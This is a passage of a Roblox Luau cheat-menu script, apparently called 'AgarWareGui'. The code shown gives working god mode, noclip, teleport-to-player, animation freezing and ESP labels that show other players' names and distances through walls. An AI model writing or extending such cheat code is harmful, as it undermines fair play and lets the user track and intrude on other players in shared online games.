table.insert(activeFeatures, { tooltip = tooltip, disable = disable, connection = loopConnection }) return { enable = enable, disable = disable, isEnabled = function() return isEnabled end } end -- ============================================================ -- BUTTON FEATURE SETUP -- ============================================================ local function setupButton(config) local rowName = config.row local buttonName = config.button local tooltipText = config.tooltip local onClick = config.onClick local row = CharacterGroup:FindFirstChild(rowName) if not row then warn("[CharacterGroup] Row not found:", rowName) return end local button = row:FindFirstChild(buttonName) if not button then warn("[CharacterGroup] Button not found:", buttonName) return end -- Create tooltip if provided if tooltipText then local tooltip = createTooltip(buttonName .. "Tooltip", tooltipText, button) table.insert(activeFeatures, {tooltip = tooltip}) end -- Click handler button.MouseButton1Click:Connect(function() if onClick then pcall(onClick) end end) end -- ============================================================ -- FEATURES START HERE -- ============================================================ -- FREEZE ANIM setupTickBox({ row = "FreezeAnimRow", tickBox = "FreezeAnimTickBox", tooltip = "Freezes your character animation in its current pose", onEnable = function() local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local animate = character:FindFirstChild("Animate") if animate then animate.Disabled = true end for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do track:AdjustSpeed(0) end end, onDisable = function() local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local animate = character:FindFirstChild("Animate") if animate then animate.Disabled = false end for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do track:AdjustSpeed(1) end end }) -- GOD MODE local godConnections = {} setupTickBox({ row = "GodModeRow", tickBox = "GodModeTickBox", tooltip = "Makes your character invincible. May not work in all games", onEnable = function() for _, conn in pairs(godConnections) do if conn then conn:Disconnect() end end godConnections = {} local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end humanoid.MaxHealth = math.huge humanoid.Health = math.huge table.insert(godConnections, RunService.RenderStepped:Connect(function() if shared.GodModePaused then return end if humanoid and humanoid.Parent then humanoid.MaxHealth = math.huge humanoid.Health = math.huge end end)) table.insert(godConnections, humanoid:GetPropertyChangedSignal("Health"):Connect(function() if humanoid and humanoid.Parent then if humanoid.Health < math.huge then humanoid.MaxHealth = math.huge humanoid.Health = math.huge end end end)) table.insert(godConnections, humanoid.Died:Connect(function() task.wait() humanoid.Health = math.huge end)) end, onDisable = function() for _, conn in pairs(godConnections) do if conn then conn:Disconnect() end end godConnections = {} task.wait() local character = LocalPlayer.Character if character then local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.MaxHealth = 100 task.wait() humanoid.Health = 100 end end end }) LocalPlayer.CharacterAdded:Connect(function(character) -- Re-enable god mode on respawn if it was enabled task.wait(0.1) -- The setupTickBox will handle this via its internal state end) -- NOCLIP local nocollideParts = {"Head", "Left Arm", "Right Arm", "LeftHand", "RightHand", "LeftLowerArm", "RightLowerArm", "LeftUpperArm", "RightUpperArm"} local function setCollisionDefaults() local character = LocalPlayer.Character if not character then return end for _, part in pairs(character:GetChildren()) do if part:IsA("BasePart") then local shouldCollide = true for _, name in pairs(nocollideParts) do if part.Name == name then shouldCollide = false break end end part.CanCollide = shouldCollide end end end setupTickBox({ row = "NoclipRow", tickBox = "NoclipTickBox", tooltip = "Allows your character to walk through walls", onDisable = function() setCollisionDefaults() local character = LocalPlayer.Character if character then local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.GettingUp) end end end, loop = function() local character = LocalPlayer.Character if not character then return end for _, part in pairs(character:GetChildren()) do if part:IsA("BasePart") then part.CanCollide = false end end end }) -- TP PLAYER (Button) setupButton({ row = "TpPlayerRow2", button = "TpPlayerButton", onClick = function() local TpPlayerRow1 = CharacterGroup:FindFirstChild("TpPlayerRow1") if not TpPlayerRow1 then return end local selectedName = TpPlayerRow1:GetAttribute("SelectedPlayer") if not selectedName or selectedName == "" then return end local targetPlayer = Players:FindFirstChild(selectedName) if not targetPlayer then return end local targetCharacter = targetPlayer.Character if not targetCharacter then return end local targetHRP = targetCharacter:FindFirstChild("HumanoidRootPart") if not targetHRP then return end local myCharacter = LocalPlayer.Character if not myCharacter then return end local myHRP = myCharacter:FindFirstChild("HumanoidRootPart") if not myHRP then return end myHRP.CFrame = targetHRP.CFrame + Vector3.new(0, 3, 0) end }) -- TP SPAWN (Button) setupButton({ row = "TpSpawnRow", button = "TpSpawnButton", onClick = function() local character = LocalPlayer.Character if not character then return end local humanoidRootPart = character:FindFirstChild("HumanoidRootPart") if not humanoidRootPart then return end local spawnLocation = workspace:FindFirstChildOfClass("SpawnLocation") if spawnLocation then humanoidRootPart.CFrame = CFrame.new(spawnLocation.Position + Vector3.new(0, 5, 0)) else humanoidRootPart.CFrame = CFrame.new(0, 5, 0) end end }) -- ============================================================ -- ADD NEW FEATURES HERE - USE THESE TEMPLATES: -- ============================================================ --[[ TICKBOX TEMPLATE: setupTickBox({ row = "YourRow", tickBox = "YourTickBox", tooltip = "What this feature does", onEnable = function() -- Runs once when enabled end, onDisable = function() -- Runs once when disabled end, loop = function() -- Runs every frame while enabled end }) ================================================================================ BUTTON TEMPLATE: setupButton({ row = "YourRow", button = "YourButton", tooltip = "What this button does", -- Optional onClick = function() -- Runs when clicked end }) ================================================================================ ]] -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, feature in pairs(activeFeatures) do if feature.tooltip then feature.tooltip:Destroy() end if feature.disable then feature.disable() end end end end) end; task.spawn(C_62); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerScript local function C_76() local script = G2L["76"]; local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local TpPlayerRow1 = script.Parent local TpPlayerDropdown = TpPlayerRow1.TpPlayerDropdown local CharacterGroup = TpPlayerRow1.Parent local selectedPlayer = nil local isOpen = false local showDisplay = false local showFriends = false local friendsList = {} local ROW_HEIGHT = 16 local MAX_ROWS = 7 local BG = Color3.fromRGB(24, 24, 24) local BORDER = Color3.fromRGB(57, 57, 57) local WHITE = Color3.new(1, 1, 1) local DIM = Color3.fromRGB(120, 120, 120) local BLUE = Color3.fromRGB(0, 123, 255) local HOVER = Color3.fromRGB(36, 36, 36) local BTN_BG = Color3.fromRGB(36, 36, 36) -- Wait for GUI to be fully loaded if not game:IsLoaded() then game.Loaded:Wait() end -- Wait for the dropdown to be fully positioned repeat task.wait() until TpPlayerDropdown.AbsoluteSize.X > 0 local mainLabel = Instance.new("TextLabel") mainLabel.Name = "MainLabel" mainLabel.Size = UDim2.new(1, -24, 1, 0) mainLabel.Position = UDim2.new(0, 0, 0, 0) mainLabel.BackgroundTransparency = 1 mainLabel.Text = "Select Player" mainLabel.TextColor3 = WHITE mainLabel.TextSize = 14 mainLabel.Font = Enum.Font.Code mainLabel.TextXAlignment = Enum.TextXAlignment.Center mainLabel.TextTruncate = Enum.TextTruncate.AtEnd mainLabel.ZIndex = 2 mainLabel.Parent = TpPlayerDropdown local mainArrow = Instance.new("TextLabel") mainArrow.Name = "MainArrow" mainArrow.Size = UDim2.new(0, 24, 1, 0) mainArrow.Position = UDim2.new(1, -24, 0, 0) mainArrow.BackgroundTransparency = 1 mainArrow.Text = "▼" mainArrow.TextColor3 = WHITE mainArrow.TextSize = 14 mainArrow.Font = Enum.Font.Code mainArrow.TextXAlignment = Enum.TextXAlignment.Center mainArrow.ZIndex = 2 mainArrow.Parent = TpPlayerDropdown local function getScreenGui() local parent = TpPlayerRow1 while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local BOTTOM_BAR_HEIGHT = ROW_HEIGHT + 2 local panel = Instance.new("Frame") panel.Name = "DropdownPanel" panel.BackgroundColor3 = BG panel.BorderSizePixel = 0 panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT) panel.ZIndex = 999 panel.Visible = false panel.Parent = getScreenGui() local panelStroke = Instance.new("UIStroke") panelStroke.Color = BORDER panelStroke.Thickness = 1 panelStroke.Parent = panel local searchBox = Instance.new("TextBox") searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT) searchBox.Position = UDim2.new(0, 0, 0, 0) searchBox.BackgroundColor3 = BG searchBox.BorderSizePixel = 0 searchBox.Text = "" searchBox.PlaceholderText = "Search for users..." searchBox.PlaceholderColor3 = DIM searchBox.TextColor3 = WHITE searchBox.TextSize = 14 searchBox.Font = Enum.Font.Code searchBox.TextXAlignment = Enum.TextXAlignment.Left searchBox.ClearTextOnFocus = false searchBox.ZIndex = 1000 searchBox.Parent = panel local searchPad = Instance.new("UIPadding") searchPad.PaddingLeft = UDim.new(0, 6) searchPad.PaddingRight = UDim.new(0, 24) searchPad.Parent = searchBox local searchArrow = Instance.new("TextButton") searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT) searchArrow.Position = UDim2.new(1, -24, 0, 0) searchArrow.BackgroundTransparency = 1 searchArrow.Text = "▲" searchArrow.TextColor3 = WHITE searchArrow.TextSize = 14 searchArrow.Font = Enum.Font.Code searchArrow.BorderSizePixel = 0 searchArrow.ZIndex = 1001 searchArrow.Parent = panel local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT) scrollFrame.Size = UDim2.new(1, 0, 0, 0) scrollFrame.BackgroundTransparency = 1 scrollFrame.BorderSizePixel = 0 scrollFrame.ScrollBarThickness = 2 scrollFrame.ScrollBarImageColor3 = BORDER scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) scrollFrame.ZIndex = 1000 scrollFrame.Parent = panel local listLayout = Instance.new("UIListLayout") listLayout.SortOrder = Enum.SortOrder.LayoutOrder listLayout.Parent = scrollFrame local bottomBar = Instance.new("Frame") bottomBar.Size = UDim2.new(1, 0, 0, BOTTOM_BAR_HEIGHT) bottomBar.BackgroundColor3 = Color3.fromRGB(18, 18, 18) bottomBar.BorderSizePixel = 0 bottomBar.ZIndex = 1000 bottomBar.Parent = panel local bottomStroke = Instance.new("UIStroke") bottomStroke.Color = BORDER bottomStroke.Thickness = 1 bottomStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border bottomStroke.Parent = bottomBar local displayBtn = Instance.new("TextButton") displayBtn.Size = UDim2.new(0.5, -1, 1, 0) displayBtn.Position = UDim2.new(0, 0, 0, 0) displayBtn.BackgroundColor3 = BTN_BG displayBtn.BorderSizePixel = 0 displayBtn.Text = "Show Display" displayBtn.TextColor3 = WHITE displayBtn.TextSize = 11 displayBtn.Font = Enum.Font.Code displayBtn.ZIndex = 1001 displayBtn.Parent = bottomBar local divider = Instance.new("Frame") divider.Size = UDim2.new(0, 1, 1, 0) divider.Position = UDim2.new(0.5, -1, 0, 0) divider.BackgroundColor3 = BORDER divider.BorderSizePixel = 0 divider.ZIndex = 1001 divider.Parent = bottomBar local friendsBtn = Instance.new("TextButton") friendsBtn.Size = UDim2.new(0.5, 0, 1, 0) friendsBtn.Position = UDim2.new(0.5, 1, 0, 0) friendsBtn.BackgroundColor3 = BTN_BG friendsBtn.BorderSizePixel = 0 friendsBtn.Text = "Show Friends" friendsBtn.TextColor3 = WHITE friendsBtn.TextSize = 11 friendsBtn.Font = Enum.Font.Code friendsBtn.ZIndex = 1001 friendsBtn.Parent = bottomBar local cachedThumbs = {} local function getThumb(userId) if cachedThumbs[userId] then return cachedThumbs[userId] end local ok, img = pcall(function() return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48) end) local result = ok and img or "" cachedThumbs[userId] = result return result end local function loadFriends() friendsList = {} local ok, pages = pcall(function() return LocalPlayer:GetFriendsAsync(200) end) if not ok then return end local function processPage() for _, v in pairs(pages:GetCurrentPage()) do friendsList[v.Id] = true end end processPage() while not pages.IsFinished do local ok2 = pcall(function() pages:AdvanceToNextPageAsync() end) if not ok2 then break end processPage() end end task.spawn(loadFriends) local function updatePanelSize(rowCount) local visibleRows = math.min(rowCount, MAX_ROWS) local scrollH = visibleRows * ROW_HEIGHT scrollFrame.Size = UDim2.new(1, 0, 0, scrollH) panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH + BOTTOM_BAR_HEIGHT) scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT) bottomBar.Position = UDim2.new(0, 0, 0, ROW_HEIGHT + scrollH) end local function buildList(filter) for _, child in pairs(scrollFrame:GetChildren()) do if child:IsA("Frame") then child:Destroy() end end local playerList = {} for _, p in pairs(Players:GetPlayers()) do if p ~= LocalPlayer then if not showFriends or friendsList[p.UserId] then table.insert(playerList, p) end end end table.sort(playerList, function(a, b) local nameA = showDisplay and a.DisplayName or a.Name local nameB = showDisplay and b.DisplayName or b.Name return nameA:lower() < nameB:lower() end) local filtered = {} for _, p in ipairs(playerList) do local displayText = showDisplay and p.DisplayName or p.Name if filter == "" or displayText:lower():find(filter:lower(), 1, true) then table.insert(filtered, p) end end for i, p in ipairs(filtered) do local isSelected = selectedPlayer == p local displayText = showDisplay and p.DisplayName or p.Name local row = Instance.new("Frame") row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT) row.BackgroundColor3 = isSelected and HOVER or BG row.BorderSizePixel = 0 row.LayoutOrder = i row.ZIndex = 1001 row.Parent = scrollFrame local thumb = Instance.new("ImageLabel") thumb.Size = UDim2.new(0, 12, 0, 12) thumb.Position = UDim2.new(1, -16, 0.5, -6) thumb.BackgroundTransparency = 1 thumb.Image = "" thumb.ZIndex = 1002 thumb.Parent = row task.spawn(function() thumb.Image = getThumb(p.UserId) end) local nameLabel = Instance.new("TextLabel") nameLabel.Size = UDim2.new(1, -22, 1, 0) nameLabel.Position = UDim2.new(0, 6, 0, 0) nameLabel.BackgroundTransparency = 1 nameLabel.Text = displayText nameLabel.TextColor3 = isSelected and BLUE or WHITE nameLabel.TextSize = 14 nameLabel.Font = Enum.Font.Code nameLabel.TextXAlignment = Enum.TextXAlignment.Left nameLabel.TextTruncate = Enum.TextTruncate.AtEnd nameLabel.ZIndex = 1002 nameLabel.Parent = row local rowBtn = Instance.new("TextButton") rowBtn.Size = UDim2.new(1, 0, 1, 0) rowBtn.BackgroundTransparency = 1 rowBtn.Text = "" rowBtn.ZIndex = 1003 rowBtn.Parent = row rowBtn.MouseEnter:Connect(function() if selectedPlayer ~= p then row.BackgroundColor3 = HOVER end end) rowBtn.MouseLeave:Connect(function() if selectedPlayer ~= p then row.BackgroundColor3 = BG end end) rowBtn.MouseButton1Click:Connect(function() selectedPlayer = p TpPlayerRow1:SetAttribute("SelectedPlayer", p.Name) isOpen = false panel.Visible = false mainLabel.Visible = true mainArrow.Visible = true mainArrow.Text = "▼" mainLabel.Text = showDisplay and p.DisplayName or p.Name mainLabel.TextColor3 = WHITE end) end updatePanelSize(#filtered) end local function openDropdown() isOpen = true mainLabel.Visible = false mainArrow.Visible = false -- Ensure the dropdown has valid position before opening repeat task.wait() until TpPlayerDropdown.AbsoluteSize.X > 0 local absPos = TpPlayerDropdown.AbsolutePosition local absSize = TpPlayerDropdown.AbsoluteSize panel.Position = UDim2.new(0, absPos.X, 0, absPos.Y + absSize.Y) panel.Size = UDim2.new(0, absSize.X, 0, ROW_HEIGHT) panel.Visible = true searchBox.Text = "" buildList("") end local function closeDropdown() isOpen = false panel.Visible = false mainLabel.Visible = true mainArrow.Visible = true mainArrow.Text = "▼" if selectedPlayer then mainLabel.Text = showDisplay and selectedPlayer.DisplayName or selectedPlayer.Name mainLabel.TextColor3 = WHITE else mainLabel.Text = "Select Player" mainLabel.TextColor3 = WHITE end end displayBtn.MouseButton1Click:Connect(function() showDisplay = not showDisplay displayBtn.Text = showDisplay and "Show Username" or "Show Display" if selectedPlayer then mainLabel.Text = showDisplay and selectedPlayer.DisplayName or selectedPlayer.Name end if isOpen then buildList(searchBox.Text) end end) friendsBtn.MouseButton1Click:Connect(function() showFriends = not showFriends friendsBtn.Text = showFriends and "Show All" or "Show Friends" if isOpen then buildList(searchBox.Text) end end) TpPlayerDropdown.MouseButton1Click:Connect(function() if isOpen then closeDropdown() else openDropdown() end end) searchArrow.MouseButton1Click:Connect(function() closeDropdown() end) searchBox:GetPropertyChangedSignal("Text"):Connect(function() buildList(searchBox.Text) end) UserInputService.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then local mousePos = input.Position local panelPos = panel.AbsolutePosition local panelSize = panel.AbsoluteSize local btnPos = TpPlayerDropdown.AbsolutePosition local btnSize = TpPlayerDropdown.AbsoluteSize local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y if not inPanel and not inBtn then closeDropdown() end end end) Players.PlayerRemoving:Connect(function(p) if selectedPlayer == p then selectedPlayer = nil TpPlayerRow1:SetAttribute("SelectedPlayer", "") mainLabel.Text = "Select Player" mainLabel.TextColor3 = WHITE end if isOpen then buildList(searchBox.Text) end end) Players.PlayerAdded:Connect(function() if isOpen then buildList(searchBox.Text) end end) TpPlayerRow1:SetAttribute("SelectedPlayer", "") end; task.spawn(C_76); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetScript local function C_79() local script = G2L["79"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local ResetRow = script.Parent local ResetButton = ResetRow.ResetButton local HOLD_TIME = 0.5 local GREY = Color3.fromRGB(80, 80, 80) local RED = Color3.fromRGB(180, 30, 30) local WHITE = Color3.new(1, 1, 1) -- Wait for GUI to be fully loaded if not game:IsLoaded() then game.Loaded:Wait() end -- Clear the button's default text ResetButton.Text = "" local fillBar = Instance.new("Frame") fillBar.Name = "FillBar" fillBar.Size = UDim2.new(0, 0, 1, 0) fillBar.Position = UDim2.new(0, 0, 0, 0) fillBar.BackgroundColor3 = GREY fillBar.BorderSizePixel = 0 fillBar.ZIndex = 1 fillBar.Parent = ResetButton local btnLabel = Instance.new("TextLabel") btnLabel.Name = "BtnLabel" btnLabel.Size = UDim2.new(1, 0, 1, 0) btnLabel.Position = UDim2.new(0, 0, 0, 0) btnLabel.BackgroundTransparency = 1 btnLabel.Text = "Reset Character" btnLabel.TextColor3 = WHITE btnLabel.TextSize = 14 btnLabel.Font = Enum.Font.Code btnLabel.ZIndex = 2 btnLabel.Parent = ResetButton local holding = false local progress = 0 local connection = nil local function reset() -- Pause god mode temporarily shared.GodModePaused = true -- Reset character shared.ResetCharacter() -- Resume god mode after a short delay task.wait(0.5) shared.GodModePaused = false end local function stopHold() holding = false if connection then connection:Disconnect() connection = nil end progress = 0 fillBar.Size = UDim2.new(0, 0, 1, 0) fillBar.BackgroundColor3 = GREY btnLabel.Text = "Reset Character" btnLabel.TextColor3 = WHITE btnLabel.TextScaled = false btnLabel.BackgroundTransparency = 1 end ResetButton.MouseButton1Down:Connect(function() holding = true progress = 0 btnLabel.Text = "Hold to Reset..." fillBar.BackgroundColor3 = GREY connection = RunService.RenderStepped:Connect(function(dt) if not holding then return end progress = progress + (dt / HOLD_TIME) progress = math.clamp(progress, 0, 1) fillBar.Size = UDim2.new(progress, 0, 1, 0) if progress >= 1 then btnLabel.Text = "Resetting..." stopHold() task.wait(0.1) reset() end end) end) ResetButton.MouseButton1Up:Connect(function() stopHold() end) ResetButton.MouseLeave:Connect(function() stopHold() end) end; task.spawn(C_79); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPScript local function C_7f() local script = G2L["7f"]; local ESPGroup = script.Parent local ESPMinimize = ESPGroup.ESPTitle.ESPMinimize local function getRows() local rows = {} for _, child in ipairs(ESPGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ESPGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ESPMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ESPGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ESPMinimize.Text = "+" else ESPGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ESPMinimize.Text = "-" end end) end; task.spawn(C_7f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameScript local function C_85() local script = G2L["85"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local ESPGroup = script.Parent.Parent local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor") local ESPNameTickBox = script.Parent:WaitForChild("ESPNameTickBox") local isEnabled = false local ESPColor = Color3.fromRGB(255, 255, 255) local ESPGuis = {} local renderConnection = nil ESPGroup:GetAttributeChangedSignal("ESPColor"):Connect(function() local newColor = ESPGroup:GetAttribute("ESPColor") if newColor then ESPColor = newColor for plr, data in pairs(ESPGuis) do if data and data.NameLabel then data.NameLabel.TextColor3 = newColor end end end end) local function getAccent() return ESPAccentColor.BackgroundColor3 end local function getScreenGui() local parent = ESPGroup while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = tooltipFrame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Shows player names above their character" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame ESPNameTickBox.MouseEnter:Connect(function() local abs = ESPNameTickBox.AbsolutePosition local size = ESPNameTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ESPNameTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) local function createNameGui(targetPlayer) local char = targetPlayer.Character if not char then return end local head = char:FindFirstChild("Head") if not head then return end local old = head:FindFirstChild("ESPNameGui_" .. targetPlayer.Name) if old then old:Destroy() end local bb = Instance.new("BillboardGui") bb.Name = "ESPNameGui_" .. targetPlayer.Name bb.Size = UDim2.new(0, 200, 0, 30) bb.StudsOffset = Vector3.new(0, 3, 0) bb.Adornee = head bb.AlwaysOnTop = true bb.Enabled = true bb.Parent = head local label = Instance.new("TextLabel") label.Name = "NameLabel" label.Size = UDim2.new(1, 0, 1, 0) label.BackgroundTransparency = 1 label.Text = targetPlayer.Name label.TextColor3 = ESPColor label.TextStrokeTransparency = 0 label.TextStrokeColor3 = Color3.fromRGB(0, 0, 0) label.TextSize = 14 label.Font = Enum.Font.GothamSemibold label.Parent = bb ESPGuis[targetPlayer] = {BillboardGui = bb, NameLabel = label} local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.Died:Connect(function() if ESPGuis[targetPlayer] and ESPGuis[targetPlayer].BillboardGui then ESPGuis[targetPlayer].BillboardGui:Destroy() end ESPGuis[targetPlayer] = nil end) end end local function removeNameGui(targetPlayer) if ESPGuis[targetPlayer] then if ESPGuis[targetPlayer].BillboardGui then ESPGuis[targetPlayer].BillboardGui:Destroy() end ESPGuis[targetPlayer] = nil end end local function startRender() if renderConnection then renderConnection:Disconnect() end renderConnection = RunService.RenderStepped:Connect(function() local myChar = LocalPlayer.Character local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart") local maxDist = ESPGroup:GetAttribute("ESPMaxDist") or 1000 local espEnabled = ESPGroup:GetAttribute("ESPEnabled") local useDisplay = ESPGroup.Parent.Parent.VisualRightSide:FindFirstChild("ESPSGroup") and ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttribute("UseDisplayName") local showDist = ESPGroup:GetAttribute("ShowDist") for plr, data in pairs(ESPGuis) do if data and data.NameLabel and data.BillboardGui then local targetChar = plr.Character local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart") if myHRP and targetHRP then local dist = (myHRP.Position - targetHRP.Position).Magnitude local distText = string.format("%.1f", dist) local name = useDisplay and plr.DisplayName or plr.Name if dist <= maxDist and espEnabled then data.BillboardGui.Enabled = true if isEnabled and showDist then data.NameLabel.Text = name .. " | " .. distText elseif isEnabled then data.NameLabel.Text = name elseif showDist then data.NameLabel.Text = distText else data.BillboardGui.Enabled = false end data.NameLabel.TextColor3 = ESPColor else data.BillboardGui.Enabled = false end end end end end) end local function enable() isEnabled = true ESPNameTickBox.BackgroundColor3 = getAccent() for _, plr in pairs(Players:GetPlayers()) do if plr ~= LocalPlayer then if not ESPGuis[plr] then createNameGui(plr) end plr.CharacterAdded:Connect(function() task.wait(0.5) if isEnabled or ESPGroup:GetAttribute("ShowDist") then createNameGui(plr) end end) end end startRender() end local function disable() isEnabled = false ESPNameTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local showDist = ESPGroup:GetAttribute("ShowDist") if not showDist then if renderConnection then renderConnection:Disconnect() renderConnection = nil end for plr in pairs(ESPGuis) do removeNameGui(plr) end end end Players.PlayerAdded:Connect(function(plr) if (isEnabled or ESPGroup:GetAttribute("ShowDist")) and plr ~= LocalPlayer then createNameGui(plr) plr.CharacterAdded:Connect(function() task.wait(0.5) if isEnabled or ESPGroup:GetAttribute("ShowDist") then createNameGui(plr) end end) end end) Players.PlayerRemoving:Connect(function(plr) removeNameGui(plr) end) ESPNameTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) ESPGroup:GetAttributeChangedSignal("ShowDist"):Connect(function() local showDist = ESPGroup:GetAttribute("ShowDist") if not isEnabled and not showDist then if renderConnection then renderConnection:Disconnect() renderConnection = nil end for plr in pairs(ESPGuis) do removeNameGui(plr) end elseif not isEnabled and showDist then for _, plr in pairs(Players:GetPlayers()) do if plr ~= LocalPlayer then createNameGui(plr) end end startRender() end end) ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function() local espEnabled = ESPGroup:GetAttribute("ESPEnabled") if espEnabled then if isEnabled or ESPGroup:GetAttribute("ShowDist") then for _, plr in pairs(Players:GetPlayers()) do if plr ~= LocalPlayer then if not ESPGuis[plr] then createNameGui(plr) else ESPGuis[plr].BillboardGui.Enabled = true end end end startRender() end else for plr, data in pairs(ESPGuis) do if data and data.BillboardGui then data.BillboardGui.Enabled = false end end end end) ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttributeChangedSignal("UseDisplayName"):Connect(function() local useDisplay = ESPGroup.Parent.Parent.VisualRightSide.ESPSGroup:GetAttribute("UseDisplayName") for plr, data in pairs(ESPGuis) do if data and data.NameLabel then data.NameLabel.Text = useDisplay and plr.DisplayName or plr.Name end end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() tooltipFrame:Destroy() end end) end; task.spawn(C_85); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistScript local function C_89() local script = G2L["89"]; local ESPGroup = script.Parent.Parent local ESPMaxDistRow = script.Parent local ESPMaxDistTickBox = ESPMaxDistRow:WaitForChild("ESPMaxDistTickBox") local ESPMaxDistChanger = ESPMaxDistRow:WaitForChild("ESPMaxDistChanger") local defaultDist = 1000 local function getScreenGui() local parent = ESPGroup while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = tooltipFrame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Maximum distance to show ESP on players. Default is 1000, INF to see all players " tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.AutomaticSize = 